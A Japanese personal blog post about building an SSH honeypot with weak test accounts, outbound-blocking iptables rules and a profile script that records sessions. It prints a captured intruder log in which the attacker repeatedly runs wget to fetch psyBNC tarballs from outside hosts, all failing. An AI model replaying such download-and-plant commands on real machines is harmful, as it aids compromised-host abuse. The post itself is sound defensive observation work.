sshのハニーポット
ちょっとした思いつきで遊んでみた。
その途中経過。
ふと思い立ってVirtual Machineでハニーポットを作ってみた。
あんまり要素が複雑だと軽いミスでホントに踏み台になりそうなので標的(?)を絞り、sshでログインしてきた人が何するか観察するのみのものを構築。
コンセプトは以下の通り
- adminとかtestとか典型的なユーザ名で罠を張る
- パスワード=ユーザ名で待つ
- ログインしたユーザの挙動は全て記録
- ホントに踏み台にされると困るからrootのパスワードはちゃんと設定
- 同じ理由でsshログイン以外の通信を遮断
とりあえず現状の経過を記録
実験環境
マシン構成
VM: Virtual PC 2007
OS: CentOS Linux 5
RAM: 256MB
ネットワーク設定
routerのnatでport22をインターネットに解放.
また、iptableで外向きの通信をすべて遮断。
設定内容は以下の通り.
要約すると内向きport22(ssh)以外のパケットは全てDropします.
CAIN INPUT (drop)
ACCEPT tcp -- anywhere anywhere state NEW,RELATED,ESTABLISHED tcp dpt:sshChain FORWARD (policy DROP)
Chain OUTPUT (policy DROP)
ACCEPT tcp -- anywhere anywhere state NEW,RELATED,ESTABLISHED tcp spt:ssh
ロギング方法
ログインした輩の挙動はscriptで記録.
psすれば見えるしkillすれば回避できるけどとりあえずはこれで試す.
あんまり回避されるようならそのときまた別の案を考える.
とりあえず/etc/profileに以下の記述をしてscriptを自動起動
COFFEE=/foo/bar/
MILK=`whoami`
CREAM=`date +%Y%m%d%H%M%S`
LATTE=$COFFEE/$MILK/FORMED-$CREAM
if [ ! -e $COFFEE/$MILK ]; then
mkdir $COFFEE/$MILK
fiif [ -e $LATTE ]; then
mv -f $LATTE $LATTE.bak
fiP_PROC=`ps aux|grep $PPID|grep sshd|awk '{print $11}'`
if [ "$P_PROC" = sshd: ];
then
enjoy -q $LATTE
exit
fi
enjoyはscriptのシンボリックリンク.
ディレクトリ名が俺の趣味なのはあからさますぎるよりはイイかなという配慮.
まあこれでログインと同時にscriptが始まり、scriptの終了と同時にshellも抜ける.
結果(途中経過)
1週間ぐらい放置したところ、本日3人ほどのアクセスがありました。
うちスキャンが2回、そして一人がログインして何かしようとしていきました。
スキャンしてきたIPは韓国のものとインドのもの。
ログインしてきたIPはモルディヴのものでした。
以下、そのモルディブさんの動作ログ
Script started on Tue 27 Nov 2007 03:06:35 PM JST
[test@rina7th ~]$ uptime
15:06:50 up 6 days, 17:58, 2 users, load average: 0.15, 0.04, 0.01
[test@rina7th ~]$ who
root tty1 2007-11-25 16:10
test pts/0 2007-11-27 15:06 (202.1.195.226)
[test@rina7th ~]$ help
GNU bash, version 3.1.17(1)-release (i686-redhat-linux-gnu)
These shell commands are defined internally. Type `help' to see this list.
Type `help name' to find out more about the function `name'.
Use `info bash' to find out more about the shell in general.
Use `man -k' or `info' to find out more about commands not in this list.A star (*) next to a name means that the command is disabled.
JOB_SPEC [&] *1
. filename [arguments] :
[ arg... ] expression
alias [-p] [name[=value] ... ] bg [job_spec ...]
bind [-lpvsPVS] [-m keymap] [-f fi break [n]
builtin [shell-builtin [arg ...]] caller [EXPR]
case WORD in [PATTERN [| PATTERN]. cd [-L|-P] [dir]
command [-pVv] command [arg ...] compgen [-abcdefgjksuv] [-o option
complete [-abcdefgjksuv] [-pr] [-o continue [n]
declare [-afFirtx] [-p] [name[=val dirs [-clpv] [+N] [-N]
disown [-h] [-ar] [jobspec ...] echo [-neE] [arg ...]
enable [-pnds] [-a] [-f filename] eval [arg ...]
exec [-cl] [-a name] file [redirec exit [n]
export [-nf] [name[=value] ...] or false
fc [-e ename] [-nlr] [first] [last fg [job_spec]
for NAME [in WORDS ... ;] do COMMA for *2; do COM
function NAME { COMMANDS ; } or NA getopts optstring name [arg]
hash [-lr] [-p pathname] [-dt] [na help [-s] [pattern ...]
history [-c] [-d offset] [n] or hi if COMMANDS; then COMMANDS; [ elif
jobs [-lnprs] [jobspec ...] or job kill [-s sigspec | -n signum | -si
let arg [arg ...] local name[=value] ...
logout popd [+N | -N] [-n]
printf [-v var] format [arguments] pushd [dir | +N | -N] [-n]
pwd [-LP] read [-ers] [-u fd] [-t timeout] [
readonly [-af] [name[=value] ...] return [n]
select NAME [in WORDS ... ;] do CO set [--abefhkmnptuvxBCHP] [-o opti
shift [n] shopt [-pqsu] [-o long-option] opt
source filename [arguments] suspend [-f]
test [expr] time [-p] PIPELINE
times trap [-lp] [arg signal_spec ...]
true type [-afptP] name [name ...]
typeset [-afFirtx] [-p] name[=valu ulimit [-SHacdfilmnpqstuvx] [limit
umask [-p] [-S] [mode] unalias [-a] name [name ...]
unset [-f] [-v] [name ...] until COMMANDS; do COMMANDS; done
variables - Some variable names an wait [n]
while COMMANDS; do COMMANDS; done { COMMANDS ; }
[test@rina7th ~]$ uptime
15:52:05 up 6 days, 18:43, 2 users, load average: 0.05, 0.02, 0.00
[test@rina7th ~]$ wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gzResolving www.psybnc.at... failed: Temporary failure in name resolution.
[test@rina7th ~]$ wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gzResolving www.psybnc.at... failed: Temporary failure in name resolution.
[test@rina7th ~]$ wget http://www.psybnc.info/source/psyBNC-2.3.2-7-auto.tar.gzResolving www.psybnc.info... failed: Temporary failure in name resolution.
[test@rina7th ~]$ wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gzResolving www.psychoid.lam3rz.de... failed: Temporary failure in name resolution.
[test@rina7th ~]$ wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gz
- 15:55:11-- http://www.p
最後が若干切れている理由は調査中.
とりあえずツールをwgetでダウンロードしようとして全部失敗している。
bash_historyを見ると、この後あきらめてログアウトした模様。
(コレがフェイクでこれ以降のログが改ざんされていたので無ければ・・・だけど)
ssh出来る→scpやsftpならつかえる って点には気づかなかったようで。
またrootを取ろうとしたりもしていないので、彼のスキルレベルは決して高くない様子。
「簡単につかえそうにないマシンをいじるよりは他を当たろう」的スタンスなのかなーと勝手に想像。